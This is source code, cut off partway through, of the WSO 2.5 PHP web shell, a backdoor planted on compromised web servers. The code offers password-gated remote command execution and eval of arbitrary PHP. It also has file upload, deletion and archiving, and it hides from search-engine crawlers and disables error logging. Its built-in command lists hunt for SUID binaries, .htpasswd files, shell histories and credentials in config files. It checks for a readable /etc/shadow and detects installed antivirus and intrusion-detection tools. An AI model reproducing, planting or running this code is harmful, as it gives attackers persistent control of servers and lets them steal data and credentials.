```php
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
   function WSOstripslashes($array) {
      return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
   }
   $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
   die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
   $os = 'win';
else
   $os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
   @chdir($_POST['c']);
$cwd = @getcwd();

```

```
62  if($os == 'win') {
63     $home_cwd = str_replace("\\", "/", $home_cwd);
64     $cwd = str_replace("\\", "/", $cwd);
65  }
66  if($cwd[strlen($cwd)-1] != '/')
67     $cwd .= '/';
68
69  if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
70      $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
71
72  if($os == 'win')
73     $aliases = array(
74        "List Directory" => "dir",
75        "Find index.php in current dir" => "dir /s /w /b index.php",
76        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
77        "Show active connections" => "netstat -an",
78        "Show running services" => "net start",
79        "User accounts" => "net user",
80        "Show computers" => "net view",
81        "ARP Table" => "arp -a",
82        "IP Configuration" => "ipconfig /all"
83     );
84  else
85     $aliases = array(
86        "List dir" => "ls -lha",
87        "list file attributes on a Linux second extended file system" => "lsattr -va",
88        "show opened ports" => "netstat -an | grep -i listen",
89          "process status" => "ps aux",
90        "Find" => "",
91        "find all suid files" => "find / -type f -perm -04000 -ls",
92        "find suid files in current dir" => "find . -type f -perm -04000 -ls",
93        "find all sgid files" => "find / -type f -perm -02000 -ls",
94        "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
95        "find config.inc.php files" => "find / -type f -name config.inc.php",
96        "find config* files" => "find / -type f -name \"config*\"",
97        "find config* files in current dir" => "find . -type f -name \"config*\"",
98        "find all writable folders and files" => "find / -perm -2 -ls",
99        "find all writable folders and files in current dir" => "find . -perm -2 -ls",
100       "find all service.pwd files" => "find / -type f -name service.pwd",
101       "find service.pwd files in current dir" => "find . -type f -name service.pwd",
102       "find all .htpasswd files" => "find / -type f -name .htpasswd",
103       "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
104       "find all .bash_history files" => "find / -type f -name .bash_history",
105       "find .bash_history files in current dir" => "find . -type f -name .bash_history",
106       "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
107       "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
108       "Locate" => "",
109       "locate httpd.conf files" => "locate httpd.conf",
110       "locate vhosts.conf files" => "locate vhosts.conf",
111       "locate proftpd.conf files" => "locate proftpd.conf",
112       "locate psybnc.conf files" => "locate psybnc.conf",
113       "locate my.conf files" => "locate my.conf",
114       "locate admin.php files" =>"locate admin.php",
115       "locate cfg.php files" => "locate cfg.php",
116       "locate conf.php files" => "locate conf.php",
117       "locate config.dat files" => "locate config.dat",
118       "locate config.php files" => "locate config.php",
119       "locate config.inc files" => "locate config.inc",
120       "locate config.inc.php" => "locate config.inc.php",
121       "locate config.default.php files" => "locate config.default.php",
122       "locate config* files " => "locate config",
123       "locate .conf files"=>"locate '.conf'",
124       "locate .pwd files" => "locate '.pwd'",
125       "locate .sql files" => "locate '.sql'",
126       "locate .htpasswd files" => "locate '.htpasswd'",
127       "locate .bash_history files" => "locate '.bash_history'",
128       "locate .mysql_history files" => "locate '.mysql_history'",
129
```

```
129         "locate .fetchmailrc files" => "locate '.fetchmailrc'",
130         "locate backup files" => "locate backup",
131         "locate dump files" => "locate dump",
132         "locate priv files" => "locate priv"
133      );
134
135   function wsoHeader() {
136      if(empty($_POST['charset']))
137         $_POST['charset'] = $GLOBALS['default_charset'];
138      global $color;
139      echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" .
     $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</
     title>
140   <style>
141   body{background-color:#444;color:#e1e1e1;}
142   body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
143   table.info{ color:#fff;background-color:#222; }
144   span,h1,a{ color: $color !important; }
145   span{ font-weight: bolder; }
146   h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-
     color:#222;margin:0px; }
147   div.content{ padding: 5px;margin-left:5px;background-color:#333; }
148   a{ text-decoration:none; }
149   a:hover{ text-decoration:underline; }
150   .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
151   .bigarea{ width:100%;height:300px; }
152   input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid
     $color; font: 9pt Monospace,'Courier New'; }
153   form{ margin:0px; }
154   #toolsTbl{ text-align:center; }
155   .toolsInp{ width: 300px }
156   .main th{text-align:left;background-color:#5e5e5e;}
157   .main tr:hover{background-color:#5e5e5e}
158   .l1{background-color:#444}
159   .l2{background-color:#333}
160   pre{font-family:Courier,Monospace;}
161   </style>
162   <script>
163       var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
164       var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
165       var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
166       var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST
     ['p1'],ENT_QUOTES)) ."';
167       var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST
     ['p2'],ENT_QUOTES)) ."';
168       var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST
     ['p3'],ENT_QUOTES)) ."';
169       var d = document;
170      function set(a,c,p1,p2,p3,charset) {
171         if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
172         if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
173         if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
174         if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
175         if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
176         if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
177      }
178      function g(a,c,p1,p2,p3,charset) {
179         set(a,c,p1,p2,p3,charset);
180         d.mf.submit();
181      }
182      function a(a,c,p1,p2,p3,charset) {
183         set(a,c,p1,p2,p3,charset);
184         var params = 'ajax=true';
185         for(i=0;i<d.mf.elements.length;i++)
186            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements
     [i].value);
187         sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
188
```

```
188     }
189     function sr(url, params) {
190        if (window.XMLHttpRequest)
191           req = new XMLHttpRequest();
192        else if (window.ActiveXObject)
193           req = new ActiveXObject('Microsoft.XMLHTTP');
194          if (req) {
195              req.onreadystatechange = processReqChange;
196              req.open('POST', url, true);
197              req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
198              req.send(params);
199          }
200     }
201     function processReqChange() {
202        if( (req.readyState == 4) )
203           if(req.status == 200) {
204              var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
205              var arr=reg.exec(req.responseText);
206              eval(arr[2].substr(0, arr[1]));
207           } else alert('Request error!');
208     }
209  </script>
210  <head><body><div style='position:absolute;width:100%;background-
     color:#444;top:0;left:0;'>
211  <form method=post name=mf style='display:none;'>
212  <input type=hidden name=a>
213  <input type=hidden name=c>
214  <input type=hidden name=p1>
215  <input type=hidden name=p2>
216  <input type=hidden name=p3>
217  <input type=hidden name=charset>
218  </form>";
219     $freeSpace = @diskfreespace($GLOBALS['cwd']);
220     $totalSpace = @disk_total_space($GLOBALS['cwd']);
221     $totalSpace = $totalSpace?$totalSpace:1;
222     $release = @php_uname('r');
223     $kernel = @php_uname('s');
224     $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
225     if(strpos('Linux', $kernel) !== false)
226        $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
227     else
228        $explink .= urlencode($kernel . ' ' . substr($release,0,3));
229     if(!function_exists('posix_getegid')) {
230        $user = @get_current_user();
231        $uid = @getmyuid();
232        $gid = @getmygid();
233        $group = "?";
234     } else {
235        $uid = @posix_getpwuid(posix_geteuid());
236        $gid = @posix_getgrgid(posix_getegid());
237        $user = $uid['name'];
238        $uid = $uid['uid'];
239        $group = $gid['name'];
240        $gid = $gid['gid'];
241     }
242
243     $cwd_links = '';
244     $path = explode("/", $GLOBALS['cwd']);
245     $n=count($path);
246     for($i=0; $i<$n-1; $i++) {
247        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
248        for($j=0; $j<=$i; $j++)
249           $cwd_links .= $path[$j].'/';
250        $cwd_links .= "\")'>".$path[$i]."/</a>";
251     }
252
253     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
254
```

```
   $opt_charsets = '';
   foreach($charsets as $item)
      $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

   $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
   if(!empty($GLOBALS['auth_pass']))
      $m['Logout'] = 'Logout';
   $m['Self remove'] = 'SelfRemove';
   $menu = '';
   foreach($m as $k => $v)
      $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

   $drives = "";
   if($GLOBALS['os'] == 'win') {
      foreach(range('c','z') as $drive)
      if(is_dir($drive.':\\'))
         $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
   }
   echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
         . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
         . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
         . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
         . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
   $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
   <tr>
      <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
      <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
   </tr><tr>
      <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
      <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>

```

```
290    </tr><tr>
291       <td><form onsubmit=\"g('Console',null,this.c.value);return false;
   \"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input
   type=submit value='>>'></form></td>
292       <td><form method='post' ENCTYPE='multipart/form-data'>
293       <input type=hidden name=a value='FilesMAn'>
294       <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
295       <input type=hidden name=p1 value='uploadFile'>
296       <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST
   ['charset']:'') . "'>
297       <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file
   name=f><input type=submit value='>>'></form><br  ></td>
298    </tr></table></div></body></html>";
299 }
300
301 if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'],
   'posix_getpwuid')===false)) {
302     function posix_getpwuid($p) {return false;} }
303 if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'],
   'posix_getgrgid')===false)) {
304     function posix_getgrgid($p) {return false;} }
305
306 function wsoEx($in) {
307    $out = '';
308    if (function_exists('exec')) {
309       @exec($in,$out);
310       $out = @join("\n",$out);
311    } elseif (function_exists('passthru')) {
312       ob_start();
313       @passthru($in);
314       $out = ob_get_clean();
315    } elseif (function_exists('system')) {
316       ob_start();
317       @system($in);
318       $out = ob_get_clean();
319    } elseif (function_exists('shell_exec')) {
320       $out = shell_exec($in);
321    } elseif (is_resource($f = @popen($in,"r"))) {
322       $out = "";
323       while(!@feof($f))
324          $out .= fread($f,1024);
325       pclose($f);
326    }
327    return $out;
328 }
329
330 function wsoViewSize($s) {
331     if (is_int($s))
332         $s = sprintf("%u", $s);
333
334    if($s >= 1073741824)
335       return sprintf('%1.2f', $s / 1073741824 ). ' GB';
336    elseif($s >= 1048576)
337       return sprintf('%1.2f', $s / 1048576 ) . ' MB';
338    elseif($s >= 1024)
339       return sprintf('%1.2f', $s / 1024 ) . ' KB';
340    else
341       return $s . ' B';
342 }
343
344 function wsoPerms($p) {
345    if (($p & 0xC000) == 0xC000)$i = 's';
346    elseif (($p & 0xA000) == 0xA000)$i = 'l';
347    elseif (($p & 0x8000) == 0x8000)$i = '-';
348    elseif (($p & 0x6000) == 0x6000)$i = 'b';
349    elseif (($p & 0x4000) == 0x4000)$i = 'd';
350    elseif (($p & 0x2000) == 0x2000)$i = 'c';
351
```

```
351     elseif (($p & 0x1000) == 0x1000)$i = 'p';
352     else $i = 'u';
353     $i .= (($p & 0x0100) ? 'r' : '-');
354     $i .= (($p & 0x0080) ? 'w' : '-');
355     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
356     $i .= (($p & 0x0020) ? 'r' : '-');
357     $i .= (($p & 0x0010) ? 'w' : '-');
358     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
359     $i .= (($p & 0x0004) ? 'r' : '-');
360     $i .= (($p & 0x0002) ? 'w' : '-');
361     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
362     return $i;
363 }
364
365 function wsoPermsColor($f) {
366     if (!@is_readable($f))
367         return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
368     elseif (!@is_writable($f))
369         return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
370     else
371         return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
372 }
373
374 function wsoScandir($dir) {
375      if(function_exists("scandir")) {
376          return scandir($dir);
377      } else {
378          $dh  = opendir($dir);
379          while (false !== ($filename = readdir($dh)))
380              $files[] = $filename;
381          return $files;
382      }
383 }
384
385 function wsoWhich($p) {
386     $path = wsoEx('which ' . $p);
387     if(!empty($path))
388         return $path;
389     return false;
390 }
391
392 function actionSecInfo() {
393     wsoHeader();
394     echo '<h1>Server security information</h1><div class=content>';
395     function wsoSecParam($n, $v) {
396         $v = trim($v);
397         if($v) {
398             echo '<span>' . $n . ': </span>';
399             if(strpos($v, "\n") === false)
400                 echo $v . '<br>';
401             else
402                 echo '<pre class=ml1>' . $v . '</pre>';
403         }
404     }
405
406     wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
407      if(function_exists('apache_get_modules'))
408          wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
409     wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS
    ['disable_functions']:'none');
410     wsoSecParam('Open base dir', @ini_get('open_basedir'));
411     wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
412     wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
413     wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
414     $temp=array();
415     if(function_exists('mysql_get_client_info'))
416         $temp[] = "MySql (".mysql_get_client_info().")";
417
```

```
    if(function_exists('mssql_connect'))
       $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
       $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
       $temp[] = "Oracle";
    wsoSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';

    if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."\n";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
    } else {
       wsoSecParam('OS Version',wsoEx('ver'));
       wsoSecParam('Account Settings',wsoEx('net accounts'));
       wsoSecParam('User Accounts',wsoEx('net user'));
    }

```

```
   echo '</div>';
   wsoFooter();
}

function actionPhp() {
   if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
      ob_start();
      eval($_POST['p1']);
      $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
      echo strlen($temp), "\n", $temp;
      exit;
   }
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

   wsoHeader();
   if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
      echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
      ob_start();
      phpinfo();
      $tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
      echo str_replace('<h1','<h2', $tmp) .'</div><br>';
   }
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
   echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
   if(!empty($_POST['p1'])) {
      ob_start();
      eval($_POST['p1']);
      echo htmlspecialchars(ob_get_clean());
   }
   echo '</pre></div>';
   wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);

   if(!empty($_POST['p1'])) {
      switch($_POST['p1']) {
         case 'uploadFile':
            if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
               echo "Can't upload file!";
            break;
         case 'mkdir':
            if(!@mkdir($_POST['p2']))
               echo "Can't create new dir";
            break;
         case 'delete':

```

```
530             function deleteDir($path) {
531                $path = (substr($path,-1)=='/') ? $path:$path.'/';
532                $dh  = opendir($path);
533                while ( ($item = readdir($dh) ) !== false) {
534                   $item = $path.$item;
535                   if ( (basename($item) == "..") || (basename($item) == ".") )
536                      continue;
537                   $type = filetype($item);
538                   if ($type == "dir")
539                      deleteDir($item);
540                   else
541                      @unlink($item);
542                }
543                closedir($dh);
544                @rmdir($path);
545             }
546             if(is_array(@$_POST['f']))
547                foreach($_POST['f'] as $f) {
548                         if($f == '..')
549                             continue;
550                   $f = urldecode($f);
551                   if(is_dir($f))
552                      deleteDir($f);
553                   else
554                      @unlink($f);
555                }
556             break;
557          case 'paste':
558             if($_COOKIE['act'] == 'copy') {
559                function copy_paste($c,$s,$d){
560                   if(is_dir($c.$s)){
561                      mkdir($d.$s);
562                      $h = @opendir($c.$s);
563                      while (($f = @readdir($h)) !== false)
564                         if (($f != ".") and ($f != ".."))
565                            copy_paste($c.$s.'/',$f, $d.$s.'/');
566                   } elseif(is_file($c.$s))
567                      @copy($c.$s, $d.$s);
568                }
569                foreach($_COOKIE['f'] as $f)
570                   copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
571             } elseif($_COOKIE['act'] == 'move') {
572                function move_paste($c,$s,$d){
573                   if(is_dir($c.$s)){
574                      mkdir($d.$s);
575                      $h = @opendir($c.$s);
576                      while (($f = @readdir($h)) !== false)
577                         if (($f != ".") and ($f != ".."))
578                            copy_paste($c.$s.'/',$f, $d.$s.'/');
579                   } elseif(@is_file($c.$s))
580                      @copy($c.$s, $d.$s);
581                }
582                foreach($_COOKIE['f'] as $f)
583                   @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
584             } elseif($_COOKIE['act'] == 'zip') {
585                if(class_exists('ZipArchive')) {
586                         $zip = new ZipArchive();
587                         if ($zip->open($_POST['p2'], 1)) {
588                             chdir($_COOKIE['c']);
589                             foreach($_COOKIE['f'] as $f) {
590                                 if($f == '..')
591                                     continue;
592                                 if(@is_file($_COOKIE['c'].$f))
593                                     $zip->addFile($_COOKIE['c'].$f, $f);
594                                 elseif(@is_dir($_COOKIE['c'].$f)) {
595                                     $iterator = new RecursiveIteratorIterator(new
    RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
596
```

```
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
            } elseif($_COOKIE['act'] == 'unzip') {
               if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
            } elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
            }
            unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
            break;
         default:
                if(!empty($_POST['p1'])) {
               WSOsetcookie('act', $_POST['p1']);
               WSOsetcookie('f', serialize(@$_POST['f']));
               WSOsetcookie('c', @$_POST['c']);
            }
            break;
      }
   }
    wsoHeader();
   echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
   $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
   if($dirContent === false) {   echo 'Can\'t open this folder!';wsoFooter(); return; }
   global $sort;
   $sort = array('name', 1);
   if(!empty($_POST['p1'])) {
      if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
         $sort = array($match[1], (int)$match[2]);
   }
echo "<script>
   function sa() {
      for(i=0;i<d.files.elements.length;i++)
         if(d.files.elements[i].type == 'checkbox')
            d.files.elements[i].checked = d.files.elements[0].checked;
   }
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
   $dirs = $files = array();
   $n = count($dirContent);
   for($i=0;$i<$n;$i++) {
      $ow = @posix_getpwuid(@fileowner($dirContent[$i]));

```

```
656         $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
657         $tmp = array('name' => $dirContent[$i],
658                      'path' => $GLOBALS['cwd'].$dirContent[$i],
659                      'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent
    [$i])),
660                      'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
661                      'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
662                      'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
663                      'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
664                     );
665         if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
666            $files[] = array_merge($tmp, array('type' => 'file'));
667         elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
668            $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp
    ['path'])));
669         elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
670            $dirs[] = array_merge($tmp, array('type' => 'dir'));
671      }
672      $GLOBALS['sort'] = $sort;
673      function wsoCmp($a, $b) {
674         if($GLOBALS['sort'][0] != 'size')
675            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS
    ['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
676         else
